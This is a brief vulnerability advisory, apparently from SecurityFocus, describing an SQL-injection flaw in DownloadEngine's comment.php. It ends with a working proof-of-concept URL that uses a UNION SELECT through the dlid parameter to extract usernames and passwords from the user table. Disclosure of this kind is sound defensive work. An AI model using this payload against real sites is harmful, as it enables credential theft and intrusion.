source: https://www.securityfocus.com/bid/18293/info
DownloadEngine is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
http://www.example.com/[path]/comment.php?dlid='/**/union/**/select/**/0,0,userpassword,username,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/dl1_user/**/where/**/userid=1/*
